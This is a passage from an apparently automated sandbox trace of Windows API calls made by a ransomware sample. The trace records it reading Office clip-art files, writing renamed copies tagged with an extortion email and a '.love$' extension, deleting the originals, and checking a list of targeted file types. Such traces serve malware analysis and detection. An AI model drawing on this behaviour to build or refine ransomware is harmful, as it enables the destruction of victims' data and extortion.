lpNewFilePointer=0x0) returned 1 [0251.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0251.760] GetLastError () returned 0x0 [0251.760] ReadFile (in: hFile=0x540, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x3b3c, lpOverlapped=0x0) returned 1 [0252.077] WriteFile (in: hFile=0x548, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x3b40, lpOverlapped=0x0) returned 1 [0252.078] ReadFile (in: hFile=0x540, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0252.078] WriteFile (in: hFile=0x548, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0252.079] SetEndOfFile (hFile=0x548) returned 1 [0252.079] CloseHandle (hObject=0x548) returned 1 [0252.079] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.079] SetEndOfFile (hFile=0x540) returned 1 [0252.082] CloseHandle (hObject=0x540) returned 1 [0252.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0252.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 1 [0252.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0252.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0252.084] lstrlenW (lpString=".doc") returned 4 [0252.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.084] lstrlenW (lpString=".docx") returned 5 [0252.084] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.084] lstrlenW (lpString=".pdf") returned 4 [0252.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.084] lstrlenW (lpString=".xls") returned 4 [0252.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.084] lstrlenW (lpString=".xlsx") returned 5 [0252.084] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.084] lstrlenW (lpString=".ppt") returned 4 [0252.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0252.084] lstrlenW (lpString=".zip") returned 4 [0252.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.084] lstrlenW (lpString=".rar") returned 4 [0252.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.085] lstrlenW (lpString=".bz2") returned 4 [0252.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.085] lstrlenW (lpString=".7z") returned 3 [0252.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0252.085] lstrlenW (lpString=".dbf") returned 4 [0252.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0252.085] lstrlenW (lpString=".1cd") returned 4 [0252.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0252.085] lstrlenW (lpString=".jpg") returned 4 [0252.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0252.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0252.085] lstrlenW (lpString=".doc") returned 4 [0252.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.085] lstrlenW (lpString=".docx") returned 5 [0252.085] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.085] lstrlenW (lpString=".pdf") returned 4 [0252.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.085] lstrlenW (lpString=".xls") returned 4 [0252.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.086] lstrlenW (lpString=".xlsx") returned 5 [0252.086] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.086] lstrlenW (lpString=".ppt") returned 4 [0252.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0252.086] lstrlenW (lpString=".zip") returned 4 [0252.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.086] lstrlenW (lpString=".rar") returned 4 [0252.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.086] lstrlenW (lpString=".bz2") returned 4 [0252.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.086] lstrlenW (lpString=".7z") returned 3 [0252.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0252.086] lstrlenW (lpString=".dbf") returned 4 [0252.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0252.086] lstrlenW (lpString=".1cd") returned 4 [0252.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0252.086] lstrlenW (lpString=".jpg") returned 4 [0252.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.086] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0252.087] lstrlenW (lpString="FD01193_.WMF") returned 12 [0252.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0252.088] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1160) returned 1 [0252.088] CloseHandle (hObject=0x540) returned 1 [0252.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x220 [0252.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0252.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0252.089] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.089] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0252.090] GetLastError () returned 0x0 [0252.090] ReadFile (in: hFile=0x540, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x488, lpOverlapped=0x0) returned 1 [0252.149] WriteFile (in: hFile=0x548, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x490, lpOverlapped=0x0) returned 1 [0252.150] ReadFile (in: hFile=0x540, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0252.150] WriteFile (in: hFile=0x548, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0252.150] SetEndOfFile (hFile=0x548) returned 1 [0252.151] CloseHandle (hObject=0x548) returned 1 [0252.151] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.151] SetEndOfFile (hFile=0x540) returned 1 [0252.155] CloseHandle (hObject=0x540) returned 1 [0252.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0252.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 1 [0252.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0252.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0252.157] lstrlenW (lpString=".doc") returned 4 [0252.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.157] lstrlenW (lpString=".docx") returned 5 [0252.157] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.157] lstrlenW (lpString=".pdf") returned 4 [0252.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.157] lstrlenW (lpString=".xls") returned 4 [0252.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.157] lstrlenW (lpString=".xlsx") returned 5 [0252.157] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.157] lstrlenW (lpString=".ppt") returned 4 [0252.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0252.157] lstrlenW (lpString=".zip") returned 4 [0252.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.157] lstrlenW (lpString=".rar") returned 4 [0252.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.157] lstrlenW (lpString=".bz2") returned 4 [0252.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.157] lstrlenW (lpString=".7z") returned 3 [0252.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0252.158] lstrlenW (lpString=".dbf") returned 4 [0252.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0252.158] lstrlenW (lpString=".1cd") returned 4 [0252.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0252.158] lstrlenW (lpString=".jpg") returned 4 [0252.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0252.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0252.158] lstrlenW (lpString=".doc") returned 4 [0252.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.158] lstrlenW (lpString=".docx") returned 5 [0252.158] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.158] lstrlenW (lpString=".pdf") returned 4 [0252.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.158] lstrlenW (lpString=".xls") returned 4 [0252.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.158] lstrlenW (lpString=".xlsx") returned 5 [0252.158] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.158] lstrlenW (lpString=".ppt") returned 4 [0252.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0252.158] lstrlenW (lpString=".zip") returned 4 [0252.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.158] lstrlenW (lpString=".rar") returned 4 [0252.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.159] lstrlenW (lpString=".bz2") returned 4 [0252.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.159] lstrlenW (lpString=".7z") returned 3 [0252.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0252.159] lstrlenW (lpString=".dbf") returned 4 [0252.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0252.159] lstrlenW (lpString=".1cd") returned 4 [0252.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0252.159] lstrlenW (lpString=".jpg") returned 4 [0252.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.159] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0252.159] lstrlenW (lpString="FD01657_.WMF") returned 12 [0252.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0252.161] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=30414) returned 1 [0252.161] CloseHandle (hObject=0x540) returned 1 [0252.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x220 [0252.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0252.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0252.162] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.162] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0252.163] GetLastError () returned 0x0 [0252.163] ReadFile (in: hFile=0x540, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x76ce, lpOverlapped=0x0) returned 1 [0252.260] WriteFile (in: hFile=0x548, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x76d0, lpOverlapped=0x0) returned 1 [0252.262] ReadFile (in: hFile=0x540, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0252.262] WriteFile (in: hFile=0x548, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0252.262] SetEndOfFile (hFile=0x548) returned 1 [0252.262] CloseHandle (hObject=0x548) returned 1 [0252.262] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.262] SetEndOfFile (hFile=0x540) returned 1 [0252.267] CloseHandle (hObject=0x540) returned 1 [0252.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0252.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 1 [0252.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0252.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0252.748] lstrlenW (lpString=".doc") returned 4 [0252.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.748] lstrlenW (lpString=".docx") returned 5 [0252.748] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.749] lstrlenW (lpString=".pdf") returned 4 [0252.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.749] lstrlenW (lpString=".xls") returned 4 [0252.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.749] lstrlenW (lpString=".xlsx") returned 5 [0252.749] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.749] lstrlenW (lpString=".ppt") returned 4 [0252.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0252.749] lstrlenW (lpString=".zip") returned 4 [0252.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.749] lstrlenW (lpString=".rar") returned 4 [0252.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.749] lstrlenW (lpString=".bz2") returned 4 [0252.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.749] lstrlenW (lpString=".7z") returned 3 [0252.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0252.749] lstrlenW (lpString=".dbf") returned 4 [0252.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0252.749] lstrlenW (lpString=".1cd") returned 4 [0252.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0252.749] lstrlenW (lpString=".jpg") returned 4 [0252.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0252.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0252.749] lstrlenW (lpString=".doc") returned 4 [0252.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.749] lstrlenW (lpString=".docx") returned 5 [0252.749] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.749] lstrlenW (lpString=".pdf") returned 4 [0252.750] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.750] lstrlenW (lpString=".xls") returned 4 [0252.750] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.750] lstrlenW (lpString=".xlsx") returned 5 [0252.750] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.750] lstrlenW (lpString=".ppt") returned 4 [0252.750] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0252.750] lstrlenW (lpString=".zip") returned 4 [0252.750] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.750] lstrlenW (lpString=".rar") returned 4 [0252.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.750] lstrlenW (lpString=".bz2") returned 4 [0252.750] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.750] lstrlenW (lpString=".7z") returned 3 [0252.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0252.750] lstrlenW (lpString=".dbf") returned 4 [0252.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0252.750] lstrlenW (lpString=".1cd") returned 4 [0252.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0252.750] lstrlenW (lpString=".jpg") returned 4 [0252.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.750] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0252.750] lstrlenW (lpString="FD02097_.WMF") returned 12 [0252.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0252.751] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1564) returned 1 [0252.752] CloseHandle (hObject=0x488) returned 1 [0252.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x220 [0252.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0252.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0252.752] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.752] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0252.767] GetLastError () returned 0x0 [0252.767] ReadFile (in: 